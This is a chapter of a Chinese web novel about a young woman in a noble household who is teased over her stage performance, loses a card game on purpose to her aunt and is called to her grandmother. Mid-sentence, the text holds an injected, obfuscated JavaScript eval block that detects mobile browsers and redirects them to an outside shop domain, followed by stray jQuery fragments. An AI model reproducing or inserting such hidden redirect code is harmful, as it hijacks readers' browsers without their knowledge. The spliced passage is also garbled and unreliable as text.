文趣网 > 其他小说 > 逼我退婚的人和我成亲了 > 2. 第二章 恶意
    三妹妹段季玉是大房的姑娘,安国公庶女,并没有养在太太膝下,但亲戚的情分,面上总是相同。

    她粉红了双腮,轻轻地把手搭在裴珩肩膀上,还凑到他身边,笑嘻嘻又问了一句:“是真没认出来,还是装作没认出来?”

    裴珩蹙眉,将她的手拂去:“什么认出来认不出来的?”

    “表哥忘了?就是刚才,你还说台上扮穆桂英的戏子身段好,只是不适合唱戏,适合唱南曲吗?”

    “表哥,你不还说,想要跟太太讨回去?”段季玉仗着小亭子里没个外人,更是肆无忌惮地调笑,幼圆的眼睛看向沈幼姝,故作有口无心的样子,问道:“沈姐姐,你跟我表哥走吗?”

    沈幼姝眼眶都红了,含着一汪泪。

    戏子本就是下九流的行当,连奴婢也不如,今日自己本是要讨舅母欢心,结果惹出了这样的事情!叫人拿在嘴里说笑!

    她的脸连带着整个纤长的脖子都烧了起来,可是她笨嘴拙舌的,连个话都不会怼,只窝窝囊囊地低着头,恨不得一头扎湖里。

    裴珩坐着,转过头瞥了段季玉一眼,笑道:“我说的话我自己都不记得,真难为你有个好记性。”

    怎么听怎么冷。

    他本就长得凌厉,剑眉入鬓,不怒自威。现在面带薄怒,让人觉得心惊胆战。

    段季玉打了个寒战,笑容僵在脸上,讷讷不敢说话。

    二姐姐段方玉听着了,面上淡淡的,甩了一张牌出去,轻描淡写道:“你的耳朵尖,我们都比不上,怎么我们都没听见,就你听见了?还说的有头有尾的。”

    她素来都是笑嘻嘻的样子,鲜少这样冷言冷语。

    段季玉结结巴巴:“就是刚才……”

    “就是什么?”大太太随意打断,“你姨娘再忙着伺候老爷,也该教你些礼义廉耻才对。”

    段季玉瞬间脸上发烧,拳头都攥起来,又听大太太吩咐:“行了,别在这儿扰人的兴致,没事儿回你姨娘那儿去。”

    “我……”段季玉胸口起伏,气冲冲福了下身,跺着脚离开水榭,走到半途委屈地回头,狠狠瞪了一眼沈幼姝。

    沈幼姝原本还恼得喘不上来气,现在看三妹妹被三言两语骂成那样,大人们还是一副云淡风轻的样子,顿时瑟缩了起来。

    她尽可能地不做声,坐在大太太身边替她看牌,生怕叫人看着。

    谁知裴珩转过身就来看她,还郑重其事地站起身,朝着她拱手施礼:“三妹妹口无遮拦,表妹不要见怪,对不住了。”

    沈幼姝也赶紧起来,侧过身不敢受他的礼:“表哥言重了。”

    一来她知道裴珩的名声——杀神在世,每逢大战必筑京观威吓北蛮,屠戮甚惨。朝中御史认为此举有伤天和,多次弹劾,裴珩不以为意,我行我素。

    这样的人给他施礼,她怎么敢受?毕竟,在很长时间内,沈幼姝都把他想成钟馗那样的人物,今日一见倒有些反应不过来。

    二者,她心里知道三妹妹没有说谎,大抵真是裴珩将自己认成了不值当的玩意儿任意来讨,只是大家都装作没听见。

    原本这件事儿就悄悄地匿了,不会被翻出来,谁承想三妹妹“顽劣”,拿来说笑。

    不知者无罪,裴珩又特意道歉,还帮着掩盖,沈幼姝消了一半的气。

    只是委屈一下段季玉,让她背一个扯谎的罪过吧,反正这里也没个外人。

    裴珩道完歉,也呆不下去了。今儿先吃表弟段乙园的气,又被姑母强留下来吃了一顿气,吃得肝气上涌,晚饭都省下了。

    他神色不太好地告辞,大太太面露愧疚:“天儿还早着呢,怎么这样匆忙?”

    “母亲该带着妹妹回公主府了,我得去问安。”

    裴珩之母是当朝长公主,她下嫁,靖国公府一家子都跟着沾光。一听是长公主的事情,大太太即便知道他拿他母亲作筏子,也不能再留人,道:“那你快些回去。”

    裴珩疾步离开了水榭。

    他走后,大太太心情就不太好了,不说别的,马吊就少了一个人。

    段方玉不太高兴道:“现在少了一个人,这马吊还怎么打?”

    大太太随意指了一下裴珩坐过的位置:“幼姝,你过去拿你表哥的牌,陪着我打完一局。”

    沈幼姝一个激灵,连忙提着裙摆走过去。刚坐下,登时觉得十分不适。

    表哥刚走,他的温度还留在椅子上呢。沈幼姝鼻子灵,还闻到一股清清冽冽的香气,应该是冰片,还有些别的香草。

    她的脸发烫,装作什么事儿都没有,拿起裴珩没打完的牌。

    看了一眼,是一副好牌,若让沈幼姝打,她定然能赢。

    但看着大太太微冷的脸色,沈幼姝实在不敢赢她,又不敢输得太惨,装模作样,绞尽脑汁地控制节奏,终于输给了大太太。

    大太太把手里的牌一扔,蹙眉道:“好好的一副牌给你,打成这样,真是没意思。”

    沈幼姝颤了颤眼睫,没搭话。

    这样的局面不好处理,打赢了她面上不觉,心里恼,还不如输个牌,她面上恼一阵也就忘了。

    二太太看了一场大戏,心满意足,这时候出来说和:“你当心说话吧,吓着孩子。”

    大太太悻悻地推了牌,走到外边溜达去了。

    她今天也生足了气,先是亲儿子段乙园朝她大呼小叫,又是庶女段季玉胡说八道,此时只想安安静静呆一会儿,呆一会儿再去送客。

    *

    沈幼姝终于回了自己的汀兰苑。

    吃过晚饭,她卸去了身上的累赘,只穿着一身水红色中衣,忽的一下扑在床上,长长地舒了口气。

    软绵绵的被子托着她的脸蛋,盖住些许愁容。

    “男不三,女不四”,果然应谶了吧?虽然倒霉的人是自己。

    折腾了这么一天,又是唱戏又是陪着说话,她只觉得累死了,最好就这么睡过去,明儿早上请安的时候再起来。

    “姑娘,小厨房送来了荔枝酒酿丸子!”

    外边传来舟儿高兴的呼喊,沈幼姝腾地坐了起来。

    “快端进来!”

    崔嬷嬷就拎着提盒走了进来,她一福身:“给姑娘请安。老太太叫给姑娘送吃食。”

    “送个糖水,怎么叫崔嬷嬷来了?”还不等沈幼姝吩咐,舟儿就给崔嬷嬷使了几个大钱。

    崔嬷嬷笑呵呵收了:“姑娘是老太太心肝上的肉,自然得奴婢来送。”她是老太太身边的老人,最知道她的心思。

    “老太太吩咐了,等着姑娘吃完了糖水,去太古堂走一趟。”

    沈幼姝答应下来,送走崔嬷嬷。

    她也没觉得奇怪,老太太素来爱她,有事儿没事儿都要赐下些大大小小的东西,然后叫去太古堂稀罕稀罕。

    舟儿打开提盒盖子,端出一碗剔透的荔枝酒酿丸子。酒酿丸子是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792700|210451||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    随时都有的,但荔枝糖水却不好得。

    整个北方都养不活荔枝树,便是送蜜渍荔枝,也得千里迢迢地运输,京城内并不常见。就算是达官贵族也没有敢私运的,只能等着皇上赐下。

    皇上日理万机,只记得他的宠臣爱臣,安国公府青黄不接,已经离开了这个队伍,府内的蜜渍荔枝少之又少,全送到了老太太那里。

    沈幼姝在蜀地出生,很爱这一口,小时候觉得平平无奇,现在才知道一颗难求。

    她很珍惜地舀了一个荔枝入口,咬下去,果肉微韧,满口清甜,但终究不如新鲜的。

    又吃了半碗,将剩下的递给舟儿。

    “你吃嘛。”

    舟儿早就习惯了,高高兴兴吃了剩下的半碗,还舔了舔嘴唇,回味无穷。

    沈幼姝赖了一会儿床,起身穿戴整齐,带着舟儿往太古堂去。

    绕远些走,路上能经过一处小花园,沈幼姝想看看海棠花怎么样,便特意绕了远路。

    结果倒霉催的,正正巧巧碰上了大太太。

    沈幼姝手中还攥着一支海棠,粉白的花映在腮边,显得人比花娇,痴愣愣地看过来,更显得不谙世事,未下凡的花仙子一般。

    可她眼前不是段乙园,而是大太太。

    大太太瞅了她一眼:“这样晚了,你还出来玩耍?”

    沈幼姝将花枝藏于身后,低着头回道:“是老太太叫我过去,因为想看看海棠花开得怎么样,所以走了这边。”

    “老太太叫你过去?”大太太一挑眉,哼笑一声,“赶巧了,咱俩一起吧。”

    虽然送走了亲戚,又在屋子里歇了一会儿,可很明显,大太太的气儿不顺,沈幼姝一点儿也不想和她一起走。

    但脚步一挪,还是老老实实跟在了大太太身后。

    大太太在她身前,轻飘飘地教训:“今天这样登台献唱的时候,以后还是不要做了。一者有些事儿男人做是佳话,你是个女孩儿,做了只会出闲话。二者,唱戏也不是正经人该干的。”

    沈幼姝听了一通教训,手里的海棠花也没握住,零落在泥里。

    她顿了一会儿,摸一下眼角,懦懦道:“舅母教训的是。”

    路变得漫长起来,沈幼姝一味低着头,终于忍受着到了太古堂。

    嬷嬷刚进去通传,便见一个意料之外的人走了出来,眼角还挂着泪。

    她身上十分朴素,有些年纪,但凭着细腻纤长的手就能看出,她并不是家里干活的媳妇,而是个养尊处优的人。

    女人见了大太太和沈幼姝,紧走两步上前,福身道:“大太太,沈姑娘。”

    “周姨娘?”大太太蹙了蹙眉,“你没事儿来太古堂做什么?”

    段季玉的姨娘笑了笑:“今儿老太太的太古堂冷清,奴婢过来陪老太太说说话。”

    语罢又把盈盈的眼望向沈幼姝,亲亲热热地拉着她的手:“姑娘莫要伤心,受了委屈自然有老太太给姑娘做主。”

    按理说,周姨娘在大太太手底下讨生活,靖国公府又是那样的家世,她很该夹起来尾巴做人。

    可她就是见不得他们好!只要大太太挨骂,她就高兴!

    周围的气氛立刻冷了下来,沈幼姝觉得莫名其妙,用了些力气将手抽出,瞥了眼大太太的神色,道:“我有舅母照顾着,能有什么委屈?你多心了。”

    周姨娘但笑不语,在大太太杀人的目光中,扶着鬓发离开。